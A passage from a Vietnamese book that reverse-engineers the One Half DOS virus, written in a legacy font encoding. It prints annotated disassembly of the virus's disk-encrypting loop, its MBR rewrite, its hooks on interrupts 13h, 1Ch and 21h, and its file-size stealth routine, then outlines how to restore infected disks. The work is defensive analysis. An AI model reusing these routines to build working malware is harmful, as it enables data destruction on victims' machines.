h»ng, cÇn chó ý tham kh¶o b¶ng trªn xem gi¸ trÞ cña nã cã bÞ lÖnh 
nµo ®ã tr−íc ®ã thay ®æi hay kh«ng. 

- Gäi sub_3, mµ nhiÖm vô cña modul nµy hiÖn nay lµ chuyÓn 
15Dh byte tõ [0772h] ®Õn [0DD8h] trong cïng ®o¹n 9F00h. C¸c 
lÖnh trong modul nµy sö dông mét lo¹t c¸c gi¸ trÞ h»ng, song c¸c 
gi¸ trÞ h»ng nµy cho ®Õn nay ch−a bÞ thay ®æi. 

Chóng ta ph©n tÝch tiÕp ®o¹n m· tiÕp theo: 

011B   pop   es 
011C   mov   bx,sp 
011E   push  es 
011F   mov   si,es:[bx+29h] 
0123   cmp   si,7 
0127   jbe   loc_8 ; (0181h) 
0129   push  si 
012A   sub   si,2 
012D   mov  word ptr ds:[140h],si  ; offset « nhí 

16Dh 
0131   pop   si 
0132   mov   ah,8 
0134   int   13h  ; §äc b¶ng tham sè ®Üa cøng 

(dl=80h) 
0136   jc   loc_8  ; (0181h) NhÈy nÕu cã lçi 
0138   mov   al,cl 
013A   and   al,3Fh 
013C   mov   byte ptr ds:[0E2D],al  ; offset « nhí 

0E5A 
013F   mov   cl,1 
0141   mov   bh,7Eh 



 
www.nhipsongcongnghe.net 

 
74/233 

0143   mov   word ptr ds:[0E2F],bx  ; offset « nhí 
0E5C 

0147   mov   dl,80h 
   loc_3: 
0149  dec   si 
014A   call  sub_4  ; (0243h) 
014D   push  dx 
   loc_4: 
014E   mov   ah,2 
0150   push  ax 
0151   int   13h 
0153   pop   ax 
0154   jc   loc_5  
0156   call  sub_38  ; (0E56h) 
0159   inc   ah 
015B   push  ax 
015C   int   13h 
015E   pop   ax 
   loc_5: 
015F   jc   loc_10 
0161   test  dh,3Fh 
0164   jz   loc_6 
0166   dec   dh 
0168   jmp   loc_4 
   loc_6: 
016A   pop   dx 
016B   cmp   si,359h ; Thùc ra gi¸ trÞ 359h trong lÖnh 

nµy 
   ; ®· bÞ thay bëi lÖnh 12Dh, = si-

2 
016F   ja   loc_3 
Nh− vËy chóng ta thÊy mét sè c«ng viÖc chÝnh virus One Half 

®· tiÕn hµnh trong ®o¹n nµy: 
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- §Æt ES=0, BX=SP=7C00h vµ lÊy gi¸ trÞ t¹i 0:[7C00h+29h] 
®Æt vµo SI. CÇn nhí r»ng, trong giai ®o¹n ®Çu cña viÖc khëi ®éng, 
Master Boot ®−îc ®äc vµo 0000:[7C00h], cho nªn gi¸ trÞ ®−îc ®Æt 
vµo SI chÝnh lµ gi¸ trÞ t¹i offset 29h trong Master Boot. Trong 
phÇn tr−íc, khi so s¸nh Master Boot chuÈn vµ Master Boot bÞ 
nhiÔm One Half, chóng ta ®· thÊy r»ng chóng kh¸c nhau tõ offset 
00h ®Õn offset 2Ah, m· cña phÇn ®Çu chØ tõ 00h ®Õn 28h, cßn 
word t¹i offset 29h lµ gi¸ trÞ ®æ vµo thanh ghi SI khi virus thùc 
hiÖn ®o¹n m· nµy.  

- Khi SI<=7 th× nhÈy tíi loc_8. §o¹n m· nµy chóng ta sÏ 
quan t©m tíi chóng sau.  

- L−u gi¸ trÞ SI-2 vµo ®Þa chØ 140h (offset 16Dh trong ch−¬ng 
tr×nh), lµm ®iÒu kiÖn cho vßng lÆp. Mçi lÇn lÆp, gi¶m SI ®i 1, do 
®ã vßng lÆp ®ã sÏ lÆp 2 lÇn (xem lÖnh 149h, 16Bh, 16Fh). 

- LÊy tham sè cña ®Üa cøng (int 13h víi ah=08h), nÕu cã lçi 
sÏ nh¶y tíi loc_8, cßn nÕu kh«ng cã lçi th× c¸c tham sè cña ®Üa sÏ 
®−îc ®Æt ë c¸c thanh ghi nh− sau: 

DH = Gi¸ trÞ tèi ®a cho ®Çu ®äc. 
DL = Sè ®Üa cøng trªn bé ®iÒu khiÓn ®Üa thø nhÊt. 
CH-CL: Gi¸ trÞ tèi ®a cho Cylinder vµ Sector, cã lÏ còng cÇn 

nh¾c l¹i r»ng trong c¸c t¸c vô kiÓu nµy cña int 13h, CH chØ chøa 8 
bit thÊp cña gi¸ trÞ Cylinder, 6 bit thÊp cña CL l−u gi¸ trÞ cña 
sector, cßn 2 bit cao cña CL ®−îc ®Æt lµ 2 bit cao cho Cylinder, 
nh− vËy sector chiÕm 6 bit, cßn Cylider chiÕm 10 bit. §Æc biÖt ®«Ý 
víi ROM-BIOS cña AWARD, ®Ó t¨ng thªm kh¶ n¨ng sè Cylinder 
tèi ®a, cßn cho phÐp dïng thªm 2 bit cao nhÊt cña DH ®Ó ghÐp 
thªm lµm 2 bit cao nhÊt cho Cylinder, nghÜa lµ khi ®ã, Cylinder 
chiÕm 12 bit. 
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Sau khi lÊy ®−îc tham sè cña ®Üa cøng, lÊy gi¸ trÞ tèi ®a cña 
sector ®Æt vµo « nhí DS:[0E2D] (offset 0E5A trong ch−¬ng tr×nh): 

mov    al,cl 
and    al,3Fh 
mov  byte ptr ds:[0E2Dh],al 

§ång thêi còng ®Æt BX=7E00h vµ l−u vµo ®Þa chØ 
DS:[0E2Fh] (offset 0E5Ch trong ch−¬ng tr×nh). 

Tr−íc khi tiÕp tôc dß vÕt tiÕp theo, chóng ta h·y kh¶o s¸t 
sub_4 

CÇn xem l¹i phÇn trªn ®Ó thÊy r»ng, khi sub_4 ®−îc gäi, 
thanh ghi DH ®ang l−u tr÷ sè tèi ®a c¸c ®Çu tõ æ ®Üa nh− ®· m« t¶, 
AL l−u gi¸ trÞ tèi ®a cña sector trªn ®Üa, cßn CL=1 

 sub_4  proc near 
0243   push  ax 
0244   mov   ax,si 
0246   mov   ch,al   ; §Æt 8 bit thÊp cña thanh ghi si 

vµo ch 
   ; cßn 8 bit cao ®Æt trong ah 
0248   push  cx 
0249   mov   cl,4 
024B   shl   ah,cl   ; DÞch tr¸i ah 4 bit ah = 

xxxx0000 
024D   pop   cx 
024E   mov   al,3Fh 
0250   and   dh,al   ; NÕu dh>3Fh th× dh=3Fh, ng−îc 

l¹i th× 
   ; gi÷ nguyªn gi¸ trÞ cña dh 
0252   and   cl,al   ; cl vÉn ®−îc gi÷ nguyªn b»ng 1 
0254   not   al    ; al = 1100 0000 
0256   push  ax 
0257   and   ah,al   ; 
0259   or   dh,ah   ; 
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025B   pop   ax 
025C   shl   ah,1 
025E   shl   ah,1   ; DÞch tr¸i ah 2 bit tiÕp 

ah=xx000000 
0260   and   ah,al   ; ah ®−îc gi÷ nguyªn 
0262   or   cl,ah   ; §Æt 2 bit thÊp cña byte cao cña 

si vµo 
   ; 2 bit cao cña cl, cßn 6 bit thÊp 

cña cl=1 
0264   pop   ax 
0265   retn 
 sub_4  endp 

 
Qua viÖc theo dâi c¸c lÖnh trong sub_4, chóng ta thÊy nhiÖm 

vô cña modul nµy lµ: 

- Thu xÕp cho thanh ghi DH . 

- XuÊt ph¸t tõ gi¸ trÞ cña SI mµ ®Æt vµo cho CX: CH l−u byte 
thÊp cña SI, cßn ®èi víi CL th× 2 bit cao l−u 2 bit thÊp cña byte 
cao cña SI, cßn l¹i 6 bit thÊp cña CL vÉn gi÷ nguyªn gi¸ trÞ cña 
nã, trong tr−êng hîp nµy lµ gi¸ trÞ 1. 

Sau khi cã c¸c th«ng tin vÒ modul sub_4 nh− trªn, chóng ta 
tiÕp tôc dß vÕt cña chóng trong ®o¹n m· chóng ta ®ang ph©n tÝch 
(lÖnh ë 0147h). 

- §Æt DL=80h (æ ®Üa cøng), gi¶m SI råi gäi sub_4 ®Ó ®Æt cho 
c¸c thanh ghi DH vµ CX. 

- Gäi ng¾t 13h (AH=2) víi hÖ thèng c¸c thanh ghi nh− sau: 
DL=80h, ban ®Çu DH = sè ®Çu tõ tèi ®a cña æ ®Üa sau khi ®· tr¶i 
qua sub_4, CX ®−îc ®Æt víi sè Cylinder lµ gi¸ trÞ trong SI, sector 
b¾t ®Çu ®äc lµ 1, sè sector cÇn ®äc AL=Toµn bé sè sector/track, 
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Vïng ®Öm: ES:BX = 0:7E00h, NghÜa lµ ®äc toµn bé toµn bé track 
SI trªn mÆt DH vµo 0:7E00h. 

- Gäi sub_38. 

- §Æt AH=3 råi l¹i gäi int 13h vÉn víi c¸c hÖ thèng thanh ghi 
trªn, nghÜa lµ d÷ liÖu ®−îc ghi vµo ®óng chç cò cña nã trªn ®Üa, v× 
vËy cã lý do ®Ó nghi ngê r»ng sub_38 chÝnh lµ modul lµm nhiÖm 
vô m· ho¸ d÷ liÖu. 

- NÕu (DH and 3Fh) kh«ng dùng cê ZR th× gi¶m DH råi lÆp 
l¹i qu¸ tr×nh ®äc ®Üa, m· ho¸, ghi l¹i nh− trªn. Cßn nÕu dùng cê 
ZR th× lÊy l¹i gi¸ trÞ ban ®Çu cña DX, so s¸nh SI víi gi¸ trÞ trong « 
nhí 140h (offset 16Dh trong ch−¬ng tr×nh), lµ « nhí ghi gi¸ trÞ 
ban ®Çu cña SI sau khi ®· gi¶m ®i 2 (xem l¹i lÖnh 12Dh), nÕu lín 
h¬n th× lÆp l¹i toµn bé qu¸ tr×nh trªn. 

Tãm l¹i, ®o¹n ch−¬ng tr×nh chóng ta võa ph©n tÝch tiÕn hµnh 
®äc lÇn l−ît tõng track trªn mäi mÆt ®Üa kÓ tõ Cylinder (si-1) vµo 
®Þa chØ 0: 7E00h, tiÕn hµnh m· ho¸ råi ghi trë l¹i vµo ®óng vÞ trÝ 
cò trªn ®Üa. Gi¸ trÞ ®−îc ®Æt trong SI lóc ban ®Çu lµ gi¸ trÞ t¹i 
offset 29h trªn Master Boot. Sè l−îng Cylinder mçi lÇn ch−¬ng 
tr×nh tiÕn hµnh lµ 2 Cylinder. Sau khi tiÕn hµnh qu¸ tr×nh trªn, gi¸ 
trÞ trong SI lµ sè hiÖu cña Cylinder lín nhÊt ch−a bÞ m· ho¸. 

Trong qu¸ tr×nh trªn, nÕu gi¸ trÞ ban ®Çu cña SI<7, hoÆc viÖc 
®äc b¶ng tham sè cña ®Üa cøng cã lçi, sÏ nh¶y tíi loc_8, cßn nÕu 
viÖc ®äc ghi mµ cã lçi sÏ nh¶y tíi loc_10, chóng ta ph©n tÝch 2 
®o¹n m· nµy sau. Nh− vËy chóng ta g¸c l¹i sub_38 (0E56h) vµ 
loc_8, loc_10. 

B©y giê, chóng ta tiÕp tôc dß vÕt ®o¹n m· tiÕp theo. 

   loc_7: 
0171   mov   bh,7Ch 
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0173   mov   es:[bx+29h],si   ; Ghi si vµo 
0:[7C00h+29h] 

0177   mov   ax,0301h 
017A   mov   cx,1 
017D   mov   dh,ch 
017F   int   13h    ; Ghi vïng ®Öm 0: 7C00h vµo 

Master Boot 
Nh− vËy, sau khi lÊy gi¸ trÞ Cylider t¹i 29h ®æ vµo SI, m· ho¸ 

2 Cylinder cã sè hiÖu SI-1, SI-2, gi¶m SI ®i 2 råi l¹i ghi l¹i vµo 
offset 29h. 

   loc_8: 
0181   mov   ds:[0EEEh],si   ; offset « nhí 0F1Bh 
0185   cmp   si,1C7h 
0189   ja   loc_9 
018B   call  sub_5   ; (0297h) 
   loc_9: 
018E   mov   ax,201h 
0191   mov   bx,7C00h 
0194   mov   cx,word ptr ds:[00C6h]  ; Gi¸ trÞ lµ 22h 
0198   dec   cx       ; Sector 21h luu MB cò 
0199   mov   dx,80h 
019C   int   13h   ; §äc Master Boot cò vµo 

0:7C00 
019E   cli 
019F   les   ax,dword ptr es:[004C]   ; LÊy ®Þa chØ 

ng¾t 13h 
      ; ax=offset, 

es=segment 
01A4   mov   ds:[0F35],ax   ; offset « nhí 0F62h 
01A7   mov   ds:[0F37],es   ; offset « nhí 0F64h 
01AB   pop   es    ; es=0 
01AC   push  es 
01AD   les   ax,dword ptr es:[0070h] ; LÊy ®Þa chØ 

ng¾t 1Ch 
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      ; ax=offset, 
es=segment 

01B2   mov   ds:[205h],ax   ; offset « nhí 232h 
01B5   mov   ds:[207h],es   ; offset « nhí 234h 
01B9   pop   es 
01BA   push  es 
01BB   mov word ptr  es:[004Ch],0E45h  ; offset « 

nhí 0E72h 
01C2   mov word ptr  es:[004Eh],cs  ; §Æt l¹i ®Þa chØ 

ng¾t 13h CS:0E45h 
01C7   mov word ptr  es:[0070h],1D1h  ; offset « 

nhí 1FEh 
01CE   mov word ptr  es:[0072h],cs  ; §Æt l¹i ®Þa chØ 

ng¾t 1Ch CS:1D1h 
01D3   sti 
01D4   push  bx 
01D5   retf 
Nh− vËy, chóng ta thÊy c«ng viÖc chñ yÕu cña ®o¹n m· nµy 

lµ: 

- §äc Master Boot cò (l−u t¹i sector ngay tr−íc 7 sector cña 
virus One Half) vµo ®Þa chØ 0:7C00h. 

- §Æt l¹i hÖ thèng ®Þa chØ cho c¸c vector ng¾t 13h vµ ng¾t 
1Ch. 

- ChuyÓn ®iÒu khiÓn tíi 0:7C00h, ®Ó cho m¸y khëi ®éng b×nh 
th−êng. 

§Ó khái bá sãt, chóng ta t×m hiÓu nèt loc_10 vµ sub_5. 
Loc_10 lµ vÞ trÝ ®−îc nh¶y tíi trong tr−êng hîp ®äc/ghi ®Üa cã lçi. 

   loc_10: 
01D6   xor   ah,ah 
01D8   push  ax 
01D9   int   13h 
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01DB   pop   ax 
   loc_11: 
01DC   inc   dh 
01DE   mov   ah,dh 
01E0   pop   dx 
01E1   push  dx 
01E2   cmp   ah,dh 
01E4   ja   loc_7 
01E6   mov   dh,ah 
01E8   mov   ah,2 
01EA   push  ax 
01EB   int   13h 
01ED   pop   ax 
01EE   call  sub_38 
01F1   inc   ah 
01F3   push  ax 
01F4   int   13h 
01F6   pop   ax  
01F7   jmp   loc_11 
   loc_12: 
01F9   pop   dx 
01FA   inc   si 
01FB   jmp   loc_7 
Qua ph©n tÝch ®o¹n m· phÝa tr−íc, nh×n vµo ®o¹n m· nµy, 

chóng ta dÔ dµng thÊy c«ng viÖc mµ nã ®¶m nhiÖm lµ: 

- Reset l¹i ®Üa (int 13h, ah=0) 

- XuÊt ph¸t tõ vÞ trÝ mÆt ®Üa g©y lçi (trong dh) céng thªm 1 trë 
vÒ sau cho ®Õn hÕt mÆt ®Üa lín nhÊt, tiÕn hµnh m· ho¸ th«ng tin 
(®Ó tr¶ l¹i th«ng tin ban ®Çu), t¨ng gi¸ trÞ cña si råi quay l¹i loc_7 
nh− ®· ph©n tÝch ë phÇn trªn. 

 sub_5  proc near 
0297   mov   ah,4 
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0299   int   1Ah    ; read date cx=year, 
dx=month/day 

029B   jc   loc_ret_15  ; Nh¶y nÕu ®ång hå bÞ 
háng 

029D   test  dl,3 
02A0   jnz   loc_ret_15  ; Nh¶y nÕu kh«ng lµ ngµy 

10,20,30 
02A2   test  ds:[0DD6h],1  ; offset « nhí 0E03h 
02A8   jnz   loc_ret_15  ; Nh¶y nÕu bit cuèi cña 

[0DD6] kh¸c 0 
02AA   mov   cx,31h 
02AD   mov   si,239h   
  ; Offset cña db 'Dis is one 

half',0Dh,0Ah,50h, 
  ;                  db 'Pres any key to continue' 
02B0   mov   ah,0Fh 
02B2   int   10h 
02B4   mov   bl,7 
02B6   mov   ah,0Eh 
   loc_loop_14: 
02B8   lodsb 
02B9   int   10h 
02BB   loop  loc_loop_14 
02BD   xor   ah,ah 
02BF   int   16h 
   loc_ret_15: 
02C1   retn 
 sub_5  endp 
Nh− vËy c«ng viÖc cña sub_5 chØ lµ: Khi c¸c ®iÒu kiÖn ®−îc 

héi ®ñ, hiÖn trªn mµn h×nh dßng ch÷ th«ng b¸o tªn cña virus. 

B©y giê chóng ta quan t©m tíi sub_38 (offset 0E56), modul 
m· ho¸ d÷ liÖu. Nhí l¹i r»ng tr−íc ®©y, virus ®· thùc hiÖn sub_3, 
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chuyÓn 15Dh byte tõ 772h ®Õn DD8h (tõ offset 79Fh ®Õn offset 
0E05h), v× vËy ®o¹n m· nµy thùc chÊt lµ ë 7C3h (offset 7F0h). 

 sub_38  proc near 
0E56   push  ax 
0E57   push  bx 
0E58   push  cx 
0E59   mov   al,0  ; §· ®−îc thay b»ng sè 

sector/track 
0E5B   mov   bx,0  ; §· ®−îc thay b»ng 7E00h 
   loc_148: 
0E5E   mov   cx,100h 
   loc_loop_149: 
0E61   xor  word ptr  es:[bx],678E 
0E66   inc   bx 
0E67   inc   bx 
0E68   loop  loc_loop_149 
0E6A   dec   al 
0E6C   jnz   loc_148 
0E6E   pop   cx 
0E6F   pop   bx 
0E70   pop   ax 
0E71   retn 
 sub_38  endp 
Nh− vËy, modul nµy tiÕn hµnh m· ho¸ toµn bé d÷ liÖu trªn sè 

sector ®äc ®−îc trong buffer 0:7E00h b»ng phÐp to¸n XOR víi 
gi¸ trÞ word t¹i ®Þa chØ [0E64h], chÝnh lµ gi¸ trÞ word t¹i ®Þa chØ 
07D1h trong phÇn th©n cña virus. Qua kiÓm tra, t«i thÊy gi¸ trÞ 
nµy trªn c¸c m¸y kh¸c nhau lµ kh¸c nhau, vµ trªn cïng mét m¸y, 
t¹i c¸c thêi ®iÓm nhiÔm kh¸c nhau còng kh¸c nhau. Sau nµy, khi 
nghiªn cøu vÒ c¬ chÕ nhiÔm, t«i míi biÕt r»ng, gi¸ trÞ ®−îc ghi ë 
®©y lµ gi¸ trÞ cña biÕn ®Õm thêi gian (t¹i ®Þa chØ 0:46Ch) mµ virus 
lÊy ®−a vµo ®ã khi l©y nhiÔm. 
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6. M« t¶ c«ng viÖc kh«i phôc Master Boot vµ phÇn d÷ liÖu ®· bÞ 
m· ho¸. 

Qua tÊt c¶ c¸c ph©n tÝch trªn ®©y, chóng ta ®· cã c¬ së ®Ó 
phôc håi l¹i Master Boot vµ phôc håi l¹i c¸c d÷ liÖu ®· bÞ m· ho¸ 
trªn ®Üa khi m¸y bÞ nhiÔm virus One Half. C¸c c«ng viÖc chÝnh cã 
thÓ m« t¶ nh− sau: 

- §äc Master Boot (Side 0, Cyl 0, Sector 1) ®Ó lÊy gi¸ trÞ cña 
Cylinder cuèi cïng (tÝnh tõ trong ra) ®· bÞ virus One Half m· hãa 
d÷ liÖu. 

- §äc b¶ng tham sè ®Üa cøng ®Ó lÊy c¸c tham sè cña ®Üa 
cøng: Sè ®Çu ®äc ghi, sè cylinder, sè sector/track. 

- §äc sector thø t− tÝnh tõ cuèi l¹i trªn side 0, cylinder 0, lÊy 
gi¸ trÞ word t¹i offset 1D1h, ®ã lµ to¸n h¹ng thø hai trong phÐp 
to¸n m· ho¸ XOR. 

- TÝnh tõ cylinder trong cïng ®· bÞ One Half m· ho¸ trë ®i 
(trõ Cylinder cuèi cïng), tiÕn hµnh ®äc tõng track, thùc hiÖn m· 
ho¸ ng−îc l¹i (gi¶i m·) råi ghi trë l¹i vµo ®Üa. 

- §äc vµ tr¶ l¹i Master Boot ban ®Çu t¹i vÞ trÝ virus One Half 
cÊt giÊu. 

7. Kh¶o s¸t ng¾t 13h, ng¾t 21h vµ ng¾t 1Ch do virus One Half 
chiÕm. 

a. Ng¾t 1Ch. 

Nh− phÇn trªn chóng ta ®· kh¶o s¸t, ®Þa chØ cña ng¾t 1Ch 
®−îc virus One Half ®Æt lµ dword CS:1D1h (offset trong ch−¬ng 
tr×nh lµ 1FEh), word ®Çu cho offset, word sau cho segment, cßn 
®Þa chØ ng¾t 1Ch ban ®Çu ®−îc l−u vµo dword DS:[205h], word 
®Çu cho offset, word sau cho segment (offset trong ch−¬ng tr×nh 
lµ 232h). 
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Sau ®©y lµ ®o¹n m· cña ng¾t 1Ch do One Half qu¶n lý: 

01FE   push  ax 
01FF   push  ds 
0200   push  es 
0121   xor   ax,ax 
0203   mov   ds,ax 
0205   les   ax,dword ptr ds:[0084h] 
0209   mov word ptr  cs:[0DE8h],ax  ; offset trong 

ch.tr×nh 0E15h 
020D   mov   ax,es 
020F   cmp   ax,800h 
0212   ja   loc_13 
0214   mov word ptr  cs:[0DEAh],ax  ; offset trong 

ch.tr×nh 0E17h 
0218   les   ax,dword ptr cs:[205h] ; 
021D   mov   ds:[0070],ax 
0220   mov   ds:[0072],es 
0224   mov word ptr  ds:[0084h],0C5D 
022A   mov word ptr  ds:[0086h],cs 
   loc_13: 
022E   pop   es 
022F   pop   ds 
0230   pop   ax 
0231   jmp  far ptr  xxxx:xxxx 
C«ng viÖc cña ®o¹n m· nµy cã thÓ m« t¶ nh− sau: 

- LÊy ®Þa chØ ng¾t 21h trong b¶ng vector ng¾t ®Æt vµo ES:AX 

- §Æt ®Þa chØ offset cña int 21h trong AX vµo [0DE8h] (offset 
trong ch−¬ng tr×nh lµ 0E15h) 

- NÕu ®Þa chØ ®o¹n trong ES>800h th× nh¶y tíi kÕt_thóc. 

- Ng−îc l¹i th× l−u gi¸ trÞ ®Þa chØ ®o¹n nµy vµo [0DEAh] 
(offset trong ch−¬ng tr×nh lµ 0E17h). 
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- LÊy l¹i ®Þa chØ cò cña int 1Ch ®· ®−îc l−u t¹i [205h] ®Èy trë 
l¹i vµo ®Þa chØ cña nã trong b¶ng vector ng¾t. 

- §Æt ®Þa chØ ng¾t 21h: offset 0C5Dh (0C8Ah trong ch−¬ng 
tr×nh), segment CS=9F00h. 

- KÕt thóc: Lµ mét lÖnh nh¶y xa. Chó ý r»ng t¹i offset 232h 
trong ch−¬ng tr×nh ®· bÞ  thay b»ng offset:segment cña int 1Ch cò, 
cho nªn ®©y lµ lÖnh gäi phôc vô ng¾t 1Ch cò ra ®Ó lµm viÖc. 

Trong ®o¹n m· nµy cã mét chót tÕ nhÞ mµ chóng ta kh«ng thÓ 
kh«ng nãi tíi. T¹i sao l¹i ph¶i kiÓm tra gi¸ trÞ trong thanh ghi ES, 
nÕu nã <=800h th× míi tiÕn hµnh cµi ®Æt? Bëi v× sau khi virus 
install xong, mét lóc l©u n÷a DOS míi ®−îc t¶i vµo, vµ khi ®ã nã 
míi tiÕn hµnh cµi ®Æt ®Þa chØ ng¾t 21h trong b¶ng vector ng¾t (vµ 
tÊt nhiªn segment cña ®Þa chØ nµy <=800h). 

§iÒu nµy gi¶i thÝch t¹i sao lÖnh ®Çu tiªn trong phÇn th©n cña 
virus (lÖnh 100h) l¹i ®æ gi¸ trÞ cña thanh ghi CS=9F00h vµo ®Þa 
chØ ®o¹n cña ng¾t 21h trong b¶ng vector ng¾t. Nh− vËy viÖc kiÓm 
tra cña virus nh»m ®¶m b¶o r»ng nã chØ chiÕm ng¾t 21h sau khi 
DOS ®· cµi ®Æt xong hÖ thèng ng¾t cña m×nh. 

Cã thÓ thÊy tãm l¹i mét ®iÒu r»ng, viÖc chiÕm ng¾t 1Ch cña 
virus One Half chØ lµ t¹m thêi, nh»m môc ®Ých th«ng qua nã 
chiÕm lÊy ng¾t 21h. Sau khi cµi ®Æt xong ng¾t 21h cña m×nh, virus 
One Half tr¶ l¹i ng¾t 1Ch mµ kh«ng chiÕm n÷a. Sau n÷a, ®Þa chØ 
cò cña ng¾t 21h cÊt t¹i dword 0DE8h (offset trong ch−¬ng tr×nh lµ 
0E15h), ®Þa chØ míi cña int 21h lµ CS:0C5Dh (offset trong 
ch−¬ng tr×nh lµ 0C8Ah). 

ThËt lµ mét ý t−ëng hay! Tr−íc khi nghiªn cøu ng¾t 1Ch cña 
virus One Half, thùc ra t«i còng ch−a biÕt lµm thÕ nµo ®Ó nã 
chiÕm cho ®−îc ng¾t 21h, bëi v× nã lªn tr−íc DOS c¬ mµ. 
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b. Ng¾t 21h. 

§Þa chØ offset cña ng¾t 21h lµ 0C5Dh (offset trong ch−¬ng 
tr×nh lµ 0C8Ah). 

Sau ®©y lµ m· cña chóng: 

0C8A   pushf 
0C8B   sti 
0C8C   cmp   ah,11h 
0C8F   je   loc_125 
0C91   cmp   ah,12h 
0C94   jne   loc_128 
   loc_125: 
0C96   jmp short  $+2 
0C98   push  bx 
0C99   push  es 
0C9A   push  ax 
0C9B   mov   ah,2Fh 
0C9D   call  sub_25   ; (091Fh) 
0CA0   pop   ax 
0CA1   call  sub_25   ; (091Fh) 
0CA4   cmp   al,0FFh 
0CA6   je   loc_127 
0CA8   push  ax 
0CA9   cmp   byte ptr es:[bx], 0FFh 
0CAD   jne   loc_126 
0CAF   add   bx,7 
   loc_126: 
0CB2   add   bx,17h 
0CB5   call  sub_31   ; (0C02h) 
0CB8   pop   ax 
0CB9   jnc   loc_127 
0CBB   add   bx,6 
0CBE   call  sub_32   ; (0C23h) 
   loc_127: 
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0CC1   pop   es 
0CC2   pop   bx 
0CC3   popf 
0CC4   iret 
Tr−íc khi theo dâi vÕt cña phÇn nµy, chóng ta xem c¸c c«ng 

viÖc ph¶i thùc hiÖn cña c¸c modul con. 

 sub_25  proc near 
091F   pushf 
0920   cli 
0921   call dword ptr  cs:[0DE8h]  ; T¹i dword nµy l−u 

®Þa chØ Int21 cò  
0926   retn 
 sub_25  endp 
Nh− vËy, ®¬n gi¶n lµ sub_25 gäi tíi ng¾t 21h chuÈn cña 

DOS. 

Do ®ã, tõ lÖnh 0C8Ah ®Õn lÖnh 0CA1h lµm c¸c c«ng viÖc 
sau: 

- NÕu AH=11h hoÆc AH=12h (chøc n¨ng FindFirst vµ 
FindNext qua FCB) th× míi tiÕn hµnh phÇn sau nµy, cßn nÕu 
kh«ng th× nh¶y tíi loc_128. 

- Gäi int 21h víi ah=2Fh ®Ó ®Æt ES:BX trá tíi ®Çu cña khèi 
DTA hiÖn hµnh. 

- Gäi int 21h víi AH ban ®Çu (11h hoÆc 12h). NÕu cã lçi 
(AL=0FFh) th× th«i, cßn nÕu kh«ng cã lçi (AL=0) th× do DOS ®· 
®iÒn c¸c th«ng tin vµo DTA, cho nªn tiÕp tôc lµm viÖc trªn DTA 
nµy. 

D÷ liÖu do DOS ®iÒn vµo DTA gåm byte ®Çu tiªn lµ sè hiÖu æ 
®Üa (0=A, 1=B,...) vµ lèi vµo (entry) cña th− môc tËp tin cÊt trong 
32 byte kÕ ®ã. 
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NÕu trong lêi gäi, dïng FCB më réng, vïng DTA ®−îc ®iÒn 
víi gi¸ trÞ 0FFh, 7 byte cã gi¸ trÞ 0, sè æ ®Üa vµ lèi vµo th− môc 
nh− trªn. 

- §Æt BX trá tíi offset 16h trong entry th− môc tËp tin, lµ thêi 
gian vµ ngµy cËp nhËt tËp tin, råi gäi sub_31. 

 sub_31  proc near 
0C02   push  dx 
0C03   mov   ax,es:[bx+2]   ; LÊy n¨m, th¸ng, ngµy. 
0C07   xor   dx,dx 
0C09   div word ptr  cs:[00A6h]  ; Chia dx:ax 

cho cs:[00A6] 
   ; Gi¸ trÞ t¹i [00A6h] lµ 

001Eh. 
   ; KÕt qu¶ ®Æt ë ax. 
   ; Sè d− ®Æt ë dx 
0C0E   mov   ax,es:[bx]  ; 
0C11   and   al,1Fh     ; LÊy gi©y vµo al 
0C13   cmp   al,dl     ; So s¸nh al víi dl 
0C15   stc         ; NÕu b»ng th× dùng cê carry 
0C16   jz   loc_121     ; vµ kÕt thóc. 
0C18   mov   ax,es:[bx]  ; NÕu kh«ng th× xo¸ cê carry 
0C1B   and   ax,0FFE0h ; vµ kÕt thóc 
0C1E   or   al,dl 
0C20   clc 
   loc_121: 
0C21   pop   dx 
0C22   retn 
 sub_31  endp 
Sau khi thùc hiÖn sub_31, khi cê carry ®−îc dùng th× t¨ng bx 

lªn 6 (trá vµo kÝch th−íc tËp tin) vµ thùc hiÖn sub_32. 

 sub_32  proc near 
0C23   sub word ptr  es:[bx],0DD8h  ; 3544 byte 
0C28   sbb word ptr  es:[bx+2],0 
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0C2D   jnc  loc_ret_122 
0C2F   add word ptr  es:[bx],0DD8h 
0C34   adc word ptr  es:[bx+2],0 
   loc_ret_122: 
0C39   retn 
 sub_32  endp 

 
Sau khi thùc hiÖn sub_32, nÕu kÝch th−íc tËp tin >0DD8h th× 

kÝch th−íc tËp tin bÞ trõ ®i 0DD8h (3544 byte). 

Nh− vËy, toµn bé phÇn trªn xö lý ng¾t 21h víi AH=11h, 12h 
(T×m tËp tin ®Çu tiªn vµ t×m tËp tin kÕ tiÕp qua FCB). Sau khi lÊy 
®−îc ®Þa chØ cña DTA hiÖn thêi, tr¶ l¹i cho ng¾t 21h xö lý b×nh 
th−êng, ®Ó cho DOS ®iÒn c¸c th«ng tin vµo DTA råi kiÓm tra mèi 
liªn hÖ gi÷a ngµy th¸ng vµ thêi gian t¹o lËp cña file, nÕu tháa ®iÒu 
kiÖn ®ã th× trõ kÝch th−íc file ®i 0DD8h (3544) byte. 

B©y giê chóng ta ®Ò cËp tíi loc_128. 

   loc_128: 
0CC5   cmp   ah,4Eh 
0CC8   je   loc_129 
0CCA   cmp   ah,4Fh 
0CCD   jne   loc_132 
   loc_129: 
0CCF   push  bx 
0CD0   push  es 
0CD1   push  ax 
0CD2   mov   ah,2Fh 
0CD4   call  sub_25   ; (091Fh) 
0CD7   pop   ax 
0CD8   call  sub_25   ; (091Fh) 
0CDB   jc   loc_131 
0CDD   push  ax 
0CDE   add   bx,16h 
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0CE1   call  sub_31   ; (0C02h) 
0CE4   pop   ax 
0CE5   jnc   loc_130 
0CE7   add   bx,4 
0CEA   call  sub_32   ; (0C23h) 
   loc_130: 
0CED   pop   es 
0CEE   pop   bx 
0CEF   popf 
0CF0   clc 
0CF1   retf  2 
   loc_131: 
0CF4   pop   es 
0CF5   pop   bx 
0CF6   popf 
0CF7   stc 
0CF8   retf 2 
Xem qua, c«ng viÖc cña ®o¹n m· nµy hoµn toµn t−¬ng tù nh− 

phÇn trªn chóng ta ®· ph©n tÝch, chØ kh¸c lµ thao t¸c trªn DTA do 
DOS ®iÒn vµo th«ng qua chøc n¨ng AH=4Eh, 4Fh cña int 21h. 
KÕt qu¶ thùc hiÖn gièng nh− chóng ta ®· nãi ë phÇn trªn. NÕu cã 
lçi (kh«ng t×m thÊy tËp tin), dùng cê carry ®Ó gièng nh− thao t¸c 
cña int 21h. 

